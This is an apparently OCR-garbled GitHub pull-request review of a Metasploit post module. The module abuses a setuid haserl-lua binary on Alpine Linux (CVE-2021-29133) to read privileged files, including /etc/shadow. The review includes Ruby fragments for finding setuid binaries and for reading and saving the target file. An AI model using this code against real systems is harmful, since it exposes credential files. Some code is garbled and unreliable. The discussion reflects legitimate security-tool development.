

jvoisin commented on Mar 2, 2021 (Contributor) (Author)

It would be nice to have the module automatically detect which version of lua to use, but my ruby sucks too much for me to implement this in a clean way.

bcoles commented on Mar 2, 2021 Contributor It would be nice to have the module automatically detect which version of lua to use, but my ruby sucks too much for me to implement this in a clean way. It doesn't look too hard (famous last words). Is the executable likely to be located in \slash usr/bin/ ? Here's some ideas if you're keen to give this a go. A couple approaches: • List all files in <code>/usr/bin</code> , find all instances beginning with <code>haser1</code> , check each for the suid bit • List all suid executables in /usr/bin , check if each file begins with haseln The simple and laziest option would be <code>get_suid_files</code> which returns an array of suid files in a directory: metasploit-framework/lib/msf/core/post/linux/system.rb Lines 130 to 141 in 49e11fa # Gathers all SUID files on the filesystem. 132 # NOTE: This uses the Linux `find` command. It will most likely take a while to get all files. 133 # Consider specifying a more narrow find path. 134 # @param findpath The path on the system to start searching 135 # @return [Array] 136 def get_suid_files(findpath = '/') out = cmd_exec("find #{findpath} -perm -4000 -print -xdev").to_s.split("\n") 138 out.delete_if {|i| i.include? 'Permission denied'} 139 rescue 140 raise "Could not retrieve all SUID files" 141 end Although this depends on find - I'm not sure if it is expected to be present in minimal Alpine installs (unless it happens to be a dependency of haser1). files = get_suid_files('/usr/bin') rescue nil fail_with(UnexpectedReply, 'Could not retrieve /usr/bin/ directory contents') path = files.select {|f| f.starts_with?('haserl-lua') }.first fail_with(NotVulnerable, 'Could not find setuid haser1 lua executable in /usr/bin/') end print_good("Found set-uid haser1: #{path}") # ... Alternatively, using the other approach, something like this: files = cmd_exec('ls /usr/bin/haserl*') # or /usr/bin/haserl-lua* unless files fail_with(UnexpectedReply, 'Could not retrieve /usr/bin/ directory contents') path = files.select {|f| setuid?(f) && f.include?('lua') }.first fail_with(NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/') print good("Found set-uid haserl: #{path}") # ... A similar approach using grep : files = cmd_exec('ls /usr/bin/haserl* | grep lua') fail_with(UnexpectedReply, 'Found no haserl-lua executables in /usr/bin/') end path = files.select {|f| setuid?(f) }.first fail_with(NotVulnerable, 'Could not find setuid haser1 lua executable in /usr/bin/') end print_good("Found set-uid haser1: #{path}") # ...

bcoles commented on Mar 2, 2021 Contributor

jvoisin commented on Mar 2, 2021

Thanks for the Ruby crash-course, I went with the first solution :)

Contributor Author

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Thanks for the Ruby crash-course, I went with the first solution:)

Unfortunately you've reverted the logic. check now makes use of get_binary which makes use of fail_with.

Also, this seems like useful information that shouldn't be hidden behind a vprint:

vprint_good("Found set-uid hasen1: #(path)")

Also, this is an unusual structure:

files = begin
get_suid_files("/usr/bin")
rescue StandardError
nil
end

I'll take another look at this tomorrow unless someone else jumps in.

contributor

acammack-r7 reviewed on Mar 4, 2021

View changes

Contributor
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bcoles commented on Mar 4, 2021
Here's a reusable haserl_lua_paths method which supports returning all instances in case you want to loop through them.
Also resolves use of fail_with in check
      rescue StandardError
      return
      return files.select { |f| File.basename(f).starts_with?('haserl-lua') }
    def check
      files = haserl_lua_paths
     if files.nil? || files.empty?
    Exploit::CheckCode::Safe('Could not find setuid haserl lua executable in /usr/bin/')
      binary = files.first
      Exploit::CheckCode::Appears("#{binary} is present and setuid")
       fail_with(Failure::BadConfig, 'Session already has root privileges')
      files = haserl_lua_paths
      if files.nil? || files.empty?
        fail_with(Failure::NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')
      binary = files.first
      print_good("Found set-uid haser1: #{binary}")
      output = cmd_exec("#{binary} '#{datastore['RFILE']}'")
      return if output.empty?
       fname = File.basename(datastore['RFILE'].downcase)
      p = store_loot(
   "haserl_#{fname}",
        'text/plain',
        session,
        output,
"haser1_#{fname}",
         'haserl arbitrary read'
```

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vprint_good("#{fname} saved in: #{p}")
 Ikke commented on Mar 24, 2021
 @jvoisin this looks pretty fresh based on the tweet. Have you heard back from Alpine regarding a CVE, or were you interested in getting one assigned for this?
A CVE has been assigned: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29133
View changes
  Ikke left a comment
 Now that the latest version of haserl is patched, it could be a good idea to check if it's actually working.
       documentation/modules/post/linux/gather/haserl read.md Outdated
                                                                                                                                                                         - Show resolved
       $\displaystyle{\psi} \tag{\tag{h}} Show resolved

    ★ timwr reviewed on Mar 26, 2021

       View changes
       modules/post/linux/gather/haserl_read.rb Outdated
                                                                                                                                                                        - Show resolved

    timwr reviewed on Mar 26, 2021

       View changes
       modules/post/linux/gather/haserl_read.rb
                               'Platform' => [ 'linux' ],
               25 +
                               'SessionTypes' => [ 'shell', 'meterpreter' ],
               26
                               'References' => [
                28
                                ['URL', 'https://twitter.com/steaIth/status/1364940271054712842'],
      timwr on Mar 26, 2021
                                                                                                                                                                          Contributor
              You're unable to view this Tweet because this account owner limits who can view their Tweets. Learn more
      jvoisin on Mar 26, 2021
                                                                                                                                                                 Contributor Author
            Unfortunately, there is nothing I can do here :/
    cdelafuente-r7 self-assigned this on Apr 1, 2021

    cdelafuente-r7 reviewed on Apr 1, 2021

       View changes
    cdelafuente-r7 left a comment
                                                                                                                                                                           Contributor
 Thanks for this great contribution @jvoisin! I tested it against a docker image with haser1 version 0.9.35 and it works great. Also, I confirmed it has been fixed in version 0.9.36. That would be
 great to add this information to the documentation
 Before it lands, I added a couple of suggestions regarding the documentation and the <code>check method</code>.
       documentation/modules/post/linux/gather/haserl_read.md  Outdated
                                                                                                                                                                         Show resolved
      modules/post/linux/gather/haserl read.rb Outdated
                                                                                                                                                                         · :- Show resolved
-O- Add an haserl-based exploit for Alpine linux
                                                                                                                                                                                ✓ 943698e
cdelafuente-r7 commented on Apr 9, 2021 • edited -
                                                                                                                                                                          Contributor
 Thanks for updating this @jvoisin. It looks good to me now. Only the documentation still needs a very small update to match the current output, but I'll do it myself, no problem ( a2d6ba4 and
 e48ebe6 ). I tested against a docker image with haser1 version 0.9.35 and verified /etc/shadow file was correctly retrieved with a non-privileged user. I'll go ahead and land it.
 Example output
   msf6 post(linux/gather/haserl_read) > sessions -v
   Active sessions
     Session ID: 1
           Type: shell unix
```

Info:

